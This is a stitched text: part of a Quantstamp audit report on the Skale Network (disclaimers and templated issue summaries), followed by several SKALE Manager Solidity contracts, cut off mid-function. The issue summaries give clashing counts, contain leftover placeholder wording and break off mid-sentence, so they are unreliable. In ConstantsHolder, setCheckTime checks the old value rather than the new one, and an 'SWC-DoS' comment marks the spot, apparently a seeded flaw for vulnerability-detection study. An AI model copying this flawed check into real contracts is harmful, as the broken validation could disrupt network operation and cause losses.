•2020-02-20 - Severity level of QSP-2 lowered after discussing with the Skale team. •2020-06-19 - Diff audited ( ) • 50c8f4e..remediation-3 2020-06-25 - Diff audited (multiple commits) •2020-07-10 - Severity level of QSP-17 lowered •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $1B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Skale Network Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 1 - Major: 3 - Critical: 0 Moderate 3.a Problem: The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. 3.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Major 4.a Problem: The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. 4.b Fix: Mitigated by implementing actions to minimize the impact or likelihood of the risk. Informational 5.a Problem: The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. 5.b Fix: Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Observations - The scope of the audit is restricted to the set of files outlined in the section. - Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 4 - Major: 2 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unresolved findings in the original commit (50c8f4e) 2.b Fix (one line with code reference): Addressed in the commits 1da7bbd, 8c6a218, 8652d74, 0164b22, 7e040bf, bd17697, c671839 Moderate 3.a Problem (one line with code reference): 12 new potential issues of varying levels of severity 3.b Fix (one line with code reference): Addressed in the commits 1da7bbd, 8c6a218, 8652d74, 0164b22, 7e040bf, bd17697, c671839 Major 4.a Problem (one line with code reference): Severity of some findings remained as "undetermined" due to the lack of documentation 4.b Fix (one line with code reference): Add documentation and best practices recommendations Critical 5.a Problem (one Issues Count of Minor/Moderate/Major/Critical - Minor: 8 - Moderate: 1 - Major: 2 - Critical: 2 Minor Issues 2.a Problem: Potentially Unsafe Use of Arithmetic Operations (QSP-1) 2.b Fix: Fixed 3. Moderate 3.a Problem: Denial-of-Service (DoS) (QSP-15) 3.b Fix: Fixed 4. Major 4.a Problem: Validator Denial-of-Service (QSP-4) 4.b Fix: Fixed 5. Critical 5.a Problem: Free Tokens for Owner from Testing Code (QSP-3) 5.b Fix: Fixed 6. Observations - Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: ContractManager.sol, Permissions.sol, SkaleToken.sol, interfaces/ISkaleToken.sol, interfaces/delegation/IDelegatableToken.sol, interfaces/delegation/IHolderDelegation.sol, interfaces/delegation
// SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IConstantsHolder.sol"; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions, IConstantsHolder { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 134161; uint public constant BROADCAST_DELTA = 177490; uint public constant COMPLAINT_BAD_DATA_DELTA = 80995; uint public constant PRE_RESPONSE_DELTA = 100061; uint public constant COMPLAINT_DELTA = 104611; uint public constant RESPONSE_DELTA = 49132; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimeLimit; bytes32 public constant CONSTANTS_HOLDER_MANAGER_ROLE = keccak256("CONSTANTS_HOLDER_MANAGER_ROLE"); modifier onlyConstantsHolderManager() { require(hasRole(CONSTANTS_HOLDER_MANAGER_ROLE, msg.sender), "CONSTANTS_HOLDER_MANAGER_ROLE is required"); _; } /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external override onlyConstantsHolderManager { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); emit ConstantUpdated( keccak256(abi.encodePacked("RewardPeriod")), uint(rewardPeriod), uint(newRewardPeriod) ); rewardPeriod = newRewardPeriod; emit ConstantUpdated( keccak256(abi.encodePacked("DeltaPeriod")), uint(deltaPeriod), uint(newDeltaPeriod) ); deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ // SWC-DoS with Failed Call: L166 function setCheckTime(uint newCheckTime) external override onlyConstantsHolderManager { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); emit ConstantUpdated( keccak256(abi.encodePacked("CheckTime")), uint(checkTime), uint(newCheckTime) ); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("AllowableLatency")), uint(allowableLatency), uint(newAllowableLatency) ); allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("MSR")), uint(msr), uint(newMSR) ); msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external override onlyConstantsHolderManager { require( block.timestamp < launchTimestamp, "Cannot set network launch timestamp because network is already launched" ); emit ConstantUpdated( keccak256(abi.encodePacked("LaunchTimestamp")), uint(launchTimestamp), uint(timestamp) ); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("RotationDelay")), uint(rotationDelay), uint(newDelay) ); rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("ProofOfUseLockUpPeriodDays")), uint(proofOfUseLockUpPeriodDays), uint(periodDays) ); proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external override onlyConstantsHolderManager { require(percentage <= 100, "Percentage value is incorrect"); emit ConstantUpdated( keccak256(abi.encodePacked("ProofOfUseDelegationPercentage")), uint(proofOfUseDelegationPercentage), uint(percentage) ); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("LimitValidatorsPerDelegator")), uint(limitValidatorsPerDelegator), uint(newLimit) ); limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("SchainCreationTimeStamp")), uint(schainCreationTimeStamp), uint(timestamp) ); schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("MinimalSchainLifetime")), uint(minimalSchainLifetime), uint(lifetime) ); minimalSchainLifetime = lifetime; } function setComplaintTimeLimit(uint timeLimit) external override onlyConstantsHolderManager { emit ConstantUpdated( keccak256(abi.encodePacked("ComplaintTimeLimit")), uint(complaintTimeLimit), uint(timeLimit) ); complaintTimeLimit = timeLimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = type(uint).max; rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimeLimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IBountyV2.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IDelegationController.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/ITimeHelpers.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; import "./delegation/PartialDifferences.sol"; contract BountyV2 is Permissions, IBountyV2 { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } // TODO: replace with an array when solidity starts supporting it uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; bytes32 public constant BOUNTY_REDUCTION_MANAGER_ROLE = keccak256("BOUNTY_REDUCTION_MANAGER_ROLE"); uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; modifier onlyBountyReductionManager() { require(hasRole(BOUNTY_REDUCTION_MANAGER_ROLE, msg.sender), "BOUNTY_REDUCTION_MANAGER_ROLE is required"); _; } function calculateBounty(uint nodeIndex) external override allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); INodes nodes = INodes(contractManager.getContract("Nodes")); ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); IDelegationController delegationController = IDelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= block.timestamp, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid + bounty; bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool - bounty; _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch + bounty; return bounty; } function enableBountyReduction() external override onlyBountyReductionManager { bountyReduction = true; emit BountyReduction(true); } function disableBountyReduction() external override onlyBountyReductionManager { bountyReduction = false; emit BountyReduction(false); } function setNodeCreationWindowSeconds(uint window) external override allow("Nodes") { emit NodeCreationWindowWasChanged(nodeCreationWindowSeconds, window); nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external override allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external override allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function estimateBounty(uint nodeIndex) external view override returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); INodes nodes = INodes(contractManager.getContract("Nodes")); ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); IDelegationController delegationController = IDelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == currentMonth + 1 ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view override returns (uint) { return _getNextRewardTimestamp( nodeIndex, INodes(contractManager.getContract("Nodes")), ITimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view override returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _refillEpochPool(uint currentMonth, ITimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _reduceBounty( uint bounty, uint nodeIndex, INodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty / constants.MSR_REDUCING_COEFFICIENT(); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, INodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (block.timestamp < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize + bountyWasPaidInCurrentEpoch, effectiveDelegated, effectiveDelegatedSum, delegated / constantsHolder.msr(), bountyPaidToTheValidator ); return bounty; } function _getFirstEpoch(ITimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, ITimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool + _getEpochReward(nextEpoch, timeHelpers, constantsHolder); } } function _getEpochReward( uint epoch, ITimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch - firstEpoch; uint year = epochIndex / EPOCHS_PER_YEAR; if (year >= 6) { uint power = (year - 6) / 3 + 1; if (power < 256) { return YEAR6_BOUNTY / 2 ** power / EPOCHS_PER_YEAR; } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year] / EPOCHS_PER_YEAR; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, INodes nodes, ITimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp - lastRewardMonthStart; uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth + 1); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth + 2); if (lastRewardTimestamp < lastRewardMonthStart + nodeCreationWindowSeconds) { return nextMonthStart - BOUNTY_WINDOW_SECONDS; } else { return _min(nextMonthStart + timePassedAfterMonthStart, nextMonthFinish - BOUNTY_WINDOW_SECONDS); } } else if (lastRewardMonth + 1 == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth + 1); return _min( currentMonthStart + _max(timePassedAfterMonthStart, nodeCreationWindowSeconds), currentMonthFinish - BOUNTY_WINDOW_SECONDS ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart + nodeCreationWindowSeconds; } } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty * effectiveDelegated / effectiveDelegatedSum; return _min( totalBountyShare / maxNodesAmount, totalBountyShare - paidToValidator ); } else { return 0; } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } }// SPDX-License-Identifier: AGPL-3.0-only /* SyncManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/ISyncManager.sol"; import "./Permissions.sol"; /** * @title SyncManager * @dev SyncManager is a contract on the mainnet * that keeps a list of allowed sync IP address ranges. */ contract SyncManager is Permissions, ISyncManager { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set; bytes32 constant public SYNC_MANAGER_ROLE = keccak256("SYNC_MANAGER_ROLE"); EnumerableSetUpgradeable.Bytes32Set private _ipRangeNames; mapping (bytes32 => IPRange) public ipRanges; modifier onlySyncManager() { require(hasRole(SYNC_MANAGER_ROLE, msg.sender), "SYNC_MANAGER_ROLE is required"); _; } function addIPRange(string memory name, bytes4 startIP, bytes4 endIP) external override onlySyncManager { require(startIP <= endIP && startIP != bytes4(0) && endIP != bytes4(0), "Invalid IP ranges provided"); bytes32 ipRangeNameHash = keccak256(abi.encodePacked(name)); require(_ipRangeNames.add(ipRangeNameHash), "IP range name is already taken"); ipRanges[ipRangeNameHash] = IPRange(startIP, endIP); emit IPRangeAdded(name, startIP, endIP); } function removeIPRange(string memory name) external override onlySyncManager { bytes32 ipRangeNameHash = keccak256(abi.encodePacked(name)); require(_ipRangeNames.remove(ipRangeNameHash), "IP range does not exist"); delete ipRanges[ipRangeNameHash]; emit IPRangeRemoved(name); } function getIPRangesNumber() external view override returns (uint) { return _ipRangeNames.length(); } function getIPRangeByIndex(uint index) external view override returns (IPRange memory) { bytes32 ipRangeNameHash = _ipRangeNames.at(index); return ipRanges[ipRangeNameHash]; } function getIPRangeByName(string memory name) external view override returns (IPRange memory) { bytes32 ipRangeNameHash = keccak256(abi.encodePacked(name)); return ipRanges[ipRangeNameHash]; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IPricing.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "./Permissions.sol"; import "./ConstantsHolder.sol"; /** * @title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions, IPricing { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external override { INodes nodes = INodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external override { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require( block.timestamp > lastUpdated + constantsHolder.COOLDOWN_TIME(), "It's not a time to update a price" ); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load * 100 > constantsHolder.OPTIMAL_LOAD_PERCENTAGE() * capacity; uint loadDiff; if (networkIsOverloaded) { loadDiff = load * 100 - constantsHolder.OPTIMAL_LOAD_PERCENTAGE() * capacity; } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE() * capacity - load * 100; } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED() * loadDiff * price; uint timeSkipped = block.timestamp - lastUpdated; uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice * timeSkipped / constantsHolder.COOLDOWN_TIME() / capacity / constantsHolder.MIN_PRICE(); if (networkIsOverloaded) { assert(priceChange > 0); price = price + priceChange; } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price - priceChange; if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = block.timestamp; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view override returns (uint) { return _getTotalLoad() * 100 / _getTotalCapacity(); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = block.timestamp; price = INITIAL_PRICE; } function checkAllNodes() public override { INodes nodes = INodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = 